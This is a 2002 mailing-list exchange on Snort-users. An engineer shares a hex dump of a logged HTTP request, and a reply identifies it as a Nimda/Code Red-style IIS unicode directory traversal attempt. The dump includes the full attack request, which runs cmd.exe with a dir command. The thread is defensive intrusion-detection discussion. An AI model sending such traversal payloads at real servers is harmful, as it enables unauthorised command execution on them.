RE: what does this mean

[Andrew Blevins <ABlevins () arrowheadgrp com>]

This is either a nimda/code red attempt, or someone is doing a unicode
directory transversal attack on you. . . .
Trouble either way, if you have IIS installed default.

Blevins


-----Original Message-----
From: Omolayo Salako [mailto:OSalako () corp goamerica net]
Sent: Friday, April 05, 2002 12:40 PM
To: Snort-users () lists sourceforge net
Subject: [Snort-users] what does this mean



Hi list
i am getting a lot of this on one of my sensors, does this mean someone is
trying to do directory listing on my web server 

47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
25 33 35 25 36 33 2E 2E 2F 77 69 6E 6E 74 2F 73   %35%63../winnt/s
79 73 74 65 6D 33 32 2F 63 6D 64 2E 65 78 65 3F   ystem32/cmd.exe?
2F 63 2B 64 69 72 20 48 54 54 50 2F 31 2E 30 0D   /c+dir HTTP/1.0
0A 48 6F 73 74 3A 20 77 77 77 0D 0A 43 6F 6E 6E   .Host: www.Conn
6E 65 63 74 69 6F 6E 3A 20 63 6C 6F 73 65 0D 0A   nection: close.
0D 0A     


                                        
Molayo Salako.   CISSP
Network Security Engineer
Goamerica communications
T:212-487-7984
E:osalako () corp goamerica net 
F:212-509-7348

"imagination is more important than knowledge"   -Al Einstein 


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